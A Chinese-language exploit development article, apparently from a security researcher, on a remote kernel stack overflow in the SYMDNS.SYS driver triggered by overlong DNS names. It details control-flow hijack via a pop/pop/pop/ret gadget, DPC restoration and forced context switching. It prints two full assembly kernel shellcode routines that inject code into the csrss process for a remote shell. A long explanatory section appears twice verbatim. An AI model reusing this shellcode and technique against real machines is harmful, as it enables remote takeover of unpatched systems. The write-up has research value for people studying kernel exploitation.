在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了0x214个字节空间,再将域名拷入,虽然会计算总长度并做限制,但由于计算错误,算了也是白算,导致可以输入超长域名发生堆栈溢出。传入的每个域名分段有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了该函数的返回地址。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中返回地址之前的SHELLCODE的后半部分面目全非、惨不忍睹。现在有两种执行SHELLCODE的方法:
一是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,
74816d74 4c816c9b 816d002e 816c9e34
|_____esp指向这 |_______这个就是非分页池的地址
现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?/xEB/x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。
二是在堆栈里覆盖的返回地址的esp+0x8处开始执行我们的SHELLCODE,返回地址之后的SHELLCODE那个函数不会做处理。但如果SHELLCODE实在太长的话会覆盖到有关DPC调度的一些信息。一个变通的方法,可以先跳回返回地址前的SHELLCODE的前半部分没被修改的部分,可以执行接近200个字节,再跳到返回地址后的SHELLCODE部分执行,这样空间就应该足够了。但由于堆栈中的SHELLCODE的每个段开始的0x3f已经被换成了0x2e,0x2e不单独对应机器码,所以只能在每个SHELLCODE段的最后部分改成/xeb/x01跳过0x2e。
在安全返回法里,由于要取出堆栈里后面函数的返回地址,不能覆盖太多,只能使用第一种方法在池中执行SHELLCDOE,安全返回法的内核态SHELLCODE只有230个字节左右,池中还剩下310个字节左右可以利用。在非安全返回法由于关于DPC调度、被锁定的资源等关键数据所处堆栈位置距离溢出点比较大,所以可以在堆栈中执行
没实现非安全返回法一,因为里面的技术要点都包括在安全返回法和非安全返回法二里了,而且限制实在太大,很让人不爽。主要就是那个BAT的下载文件的内容,可以参见相关文章。
正如FLASHSKY所说,非安全返回法二的关键在于恢复DPC,不象安全返回法,我们完全不必关心线程切换和DPC调度。不过FLASHSKY夸大了DPC被破坏的情况,尤其是环境切换,就算在安全返回法里,在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的,以下是KPCR结构中涉及到DPC调度的部分:
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的处理方法有两种,一种是把KDPC对象串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里,系统检测到当前DPC链表不为空,于是调用KiRetireDpcList,KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员,显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE,然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象,DPC调度发生的频率是相当高的,但大部分时间都是处理定时器KTIMER过期DPC,很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法,我们处于DPC调度中,DpcRoutineActive和DpcInterruptRequested都为TRUE,进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以,在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复,但就会降低溢出的成功率,因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏)。其实系统中有些蓝屏是系统有意调用KeBugCheck以防止你做某些事,这些事情如果你处理得好是不会对系统产生影响的,比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换,但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能,就是我们对内核感兴趣的原因,能够控制整个操作系统真的很爽,扯远了,呵呵。恢复DPC有个技巧,既然上一次KiIdleLoop的调用是KiRetireDpcList,那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令:
call nt!KiRetireDpcList
cmp dword ptr [ebx+0x128],0x0
如果不改动这里的话环境切换后系统恢复到这里执行,下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空,但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了,切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚,加上0x2d,使它变为调用了SwapContext后的下一条指令:
call nt!SwapContext
lea ebp,[ebx+0x800]
显然ebp已经恢复了,DPC调度可以继续进行了。
恢复DPC我们有两种选择,一是将当前DPC跳过,二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便,可以省下不少代码,也是我使用的方法,不过有一个小问题,就是无法再PING通,会产生网络已被中断的错觉,其实网络是通的,SHELL也拿得到。第二种方法虽然网络功能一切正常,不过远程的机器会出现一些异常,比如开始菜单无法再用,当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁,该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方,所以可以很安全取到。
下一步就是进行环境切换,要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处,把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处,并把IDLE线程状态(ETHREAD+02d byte State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp,记住,从这里开始我们已经处于新线程的堆栈中了,如果你之前有什么重要的信息压在IDLE线程的堆栈里,赶快在切换ESP前出栈吧。还有一点很重要的是,由于我们是强行把一个处于等待状态的线程进行环境切换并运行(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了,其机率快可以比上抽六合彩了),就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别,前者是处于等待状态且内核栈未被换出的线程链表,而后者是处于等待状态且内核堆栈已被换出的线程链表),否则就会在KiOutSwapKernelStack处发生死循环。最后就是直接返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的),系统就会接管工作了(这里需要提出的是,其实IDLE线程自从被赋于KPCR+0x128并被改为待命后,早在第一个int 0x2e就被调度执行了)。
我开始时SHELLCODE的结构是先完成其它功能,再环境切换,结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g,系统都一切正常,但如果直接g或者干脆前面就没下过断点那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题,结果被郁闷了N次,主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈,而后面又直接修改回正常值(IDLE的KernelStack, 在ETHREAD+0x28处,是个不变的值,不修改的话调度后会返回到错误的回址),估计问题发生在这里,所以我把SHELLCODE前后结构改了,先环境切换再完成其它功能,这样不会再干预IDLE的内核栈,事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本,把所有可有可无的代码全去掉了,比如修改KPCR中某些不会用到的成员的代码全去掉了,甚至连线程状态都没改,还是保持在等待状态,反正系统正常环境切换也不会检测正在运行的线程是什么状态,呵呵。
这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。
SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,没提供完整的SHELLCODE,因为一是只是为了技术研究,而是不想被那些对技术一窍不通却只想着破坏的人利用。转成机器码只有230多个字节,基本不算太大:):
__declspec(naked) JustTest()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebx, 0xffdff55c
mov ebx, dword ptr [ebx]
mov ebx, dword ptr [ebx+0x44]
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov edx, dword ptr [ebx+0x50]
FindThread:
movzx ecx, byte ptr [edx-0x86]
dec ecx
jecxz go3
mov edx, dword ptr [edx]
jmp FindThread
go3:
mov eax, dword ptr [ebx+0x18]
mov ebp, esp
sub esp, 0x40
push edx
mov cr3, eax
push 0x10
pop ecx
xor eax, eax
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [edx+0x3c]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx-0x7c]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x210]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x11c
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]
mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x100
xor eax, eax
mov esi, dword ptr [esp+0x38]
mov ebp,esp
add ebp,0x88
ret 0x2c
}
}
没实现非安全返回法一,因为里面的技术要点都包括在安全返回法和非安全返回法二里了,而且限制实在太大,很让人不爽。主要就是那个BAT的下载文件的内容,可以参见相关文章。
正如FLASHSKY所说,非安全返回法二的关键在于恢复DPC,不象安全返回法,我们完全不必关心线程切换和DPC调度。不过FLASHSKY夸大了DPC被破坏的情况,尤其是环境切换,就算在安全返回法里,在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的,以下是KPCR结构中涉及到DPC调度的部分:
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的处理方法有两种,一种是把KDPC对象串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里,系统检测到当前DPC链表不为空,于是调用KiRetireDpcList,KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员,显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE,然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象,DPC调度发生的频率是相当高的,但大部分时间都是处理定时器KTIMER过期DPC,很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法,我们处于DPC调度中,DpcRoutineActive和DpcInterruptRequested都为TRUE,进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以,在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复,但就会降低溢出的成功率,因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏)。其实系统中有些蓝屏是系统有意调用KeBugCheck以防止你做某些事,这些事情如果你处理得好是不会对系统产生影响的,比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换,但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能,就是我们对内核感兴趣的原因,能够控制整个操作系统真的很爽,扯远了,呵呵。恢复DPC有个技巧,既然上一次KiIdleLoop的调用是KiRetireDpcList,那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令:
call nt!KiRetireDpcList
cmp dword ptr [ebx+0x128],0x0
如果不改动这里的话环境切换后系统恢复到这里执行,下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空,但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了,切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚,加上0x2d,使它变为调用了SwapContext后的下一条指令:
call nt!SwapContext
lea ebp,[ebx+0x800]
显然ebp已经恢复了,DPC调度可以继续进行了。
恢复DPC我们有两种选择,一是将当前DPC跳过,二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便,可以省下不少代码,也是我使用的方法,不过有一个小问题,就是无法再PING通,会产生网络已被中断的错觉,其实网络是通的,SHELL也拿得到。第二种方法虽然网络功能一切正常,不过远程的机器会出现一些异常,比如开始菜单无法再用,当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁,该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方,所以可以很安全取到。
下一步就是进行环境切换,要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处,把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处,并把IDLE线程状态(ETHREAD+02d byte State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp,记住,从这里开始我们已经处于新线程的堆栈中了,如果你之前有什么重要的信息压在IDLE线程的堆栈里,赶快在切换ESP前出栈吧。还有一点很重要的是,由于我们是强行把一个处于等待状态的线程进行环境切换并运行(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了,其机率快可以比上抽六合彩了),就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别,前者是处于等待状态且内核栈未被换出的线程链表,而后者是处于等待状态且内核堆栈已被换出的线程链表),否则就会在KiOutSwapKernelStack处发生死循环。最后就是直接返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的),系统就会接管工作了(这里需要提出的是,其实IDLE线程自从被赋于KPCR+0x128并被改为待命后,早在第一个int 0x2e就被调度执行了)。
我开始时SHELLCODE的结构是先完成其它功能,再环境切换,结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g,系统都一切正常,但如果直接g或者干脆前面就没下过断点那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题,结果被郁闷了N次,主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈,而后面又直接修改回正常值(IDLE的KernelStack, 在ETHREAD+0x28处,是个不变的值,不修改的话调度后会返回到错误的回址),估计问题发生在这里,所以我把SHELLCODE前后结构改了,先环境切换再完成其它功能,这样不会再干预IDLE的内核栈,事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本,把所有可有可无的代码全去掉了,比如修改KPCR中某些不会用到的成员的代码全去掉了,甚至连线程状态都没改,还是保持在等待状态,反正系统正常环境切换也不会检测正在运行的线程是什么状态,呵呵。
下面是内核SHELLCODE代码,转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概350个字节。这段代码是在池中执行的,换成在堆栈中执行时记得把里面一些关于堆栈的偏移地址修正一下:
__declspec(naked)JustTest2()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebp, 0xffdff80c
mov ebx, dword ptr [ebp-0x2b0]
mov ebx, dword ptr [ebx+0x44]
xor eax, eax
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov dword ptr [ebp], eax
mov esi, dword ptr [esp+0x33c]
mov byte ptr [esi+0x2d], al
lea esi, dword ptr [ebx+0x50]
FindThread:
mov esi, dword ptr [esi]
test byte ptr [esi-0x86], 0x1
jnz go3
jmp FindThread
go3:
mov edx, dword ptr [ebx+0x18]
sub esi, 0x1a4
mov ebx, 0xffdff000
// lea ecx, dword ptr [ebp-0xc]
mov ebp, dword ptr [ebx+0x124]
mov dword ptr [ebx+0x128], ebp
inc byte ptr [ebp+0x2d]
mov edi, dword ptr [ebp+0x28]
add dword ptr [edi+0x8], 0x2d
// mov ebp, dword ptr [edi-0x8]
// add ebp, 0x4
// mov edi, dword ptr [ecx]
// mov dword ptr [edi], ebp
// mov dword ptr [ebp+4], edi
// mov dword ptr [ecx], ebp
mov dword ptr [ebx+0x124], esi
mov cl, byte ptr [esi+0x2c]
mov byte ptr [ebx+0x50], cl
mov ebp, dword ptr [esi+0x5c]
mov edi, dword ptr [esi+0x60]
mov dword ptr [edi], ebp
mov dword ptr [ebp+0x4], edi
pop edi
push dword ptr [esi+0x1c]
pop dword ptr [ebx+0x8]
mov esp, dword ptr [esi+0x28]
mov ecx, dword ptr [esi+0x20]
mov dword ptr [ebx+0x18], ecx
mov ebp, dword ptr [ebx+0x3c]
mov word ptr [ebp+0x3a], cx
shr ecx, 0x10
mov byte ptr [ebp+0x3c], cl
shr ecx, 0x8
mov byte ptr [ebp+0x3f], cl
mov ebp, dword ptr [ebx+0x40]
mov dword ptr [ebp+0x1c], edx
mov cr3, edx
push edi
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push 0x10
pop ecx
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [esi+0x1e0]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx+0x128]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x1a0]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x19a
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]
mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
mov ebx, dword ptr [esp+0x14]
add esp, 0x5c
pop ecx
mov dword ptr [ebx], ecx
popfd
ret
}
}
//后的代码是用于第二种DPC恢复的。
后记:
内核溢出是一个全新的领域,里面有很多东西值得我们去探索。这篇文章就算是抛砖引玉,如果能给大家有所帮助,也就算达到目的了。很多地方都有很多不足,尤其是非安全返回法,还没找到能让系统完全恢复原样的方法。如果有什么错漏处或者可以改进的地方,欢迎向我提出。
QQ:27324838
EMAIL:kinvis@hotmail.com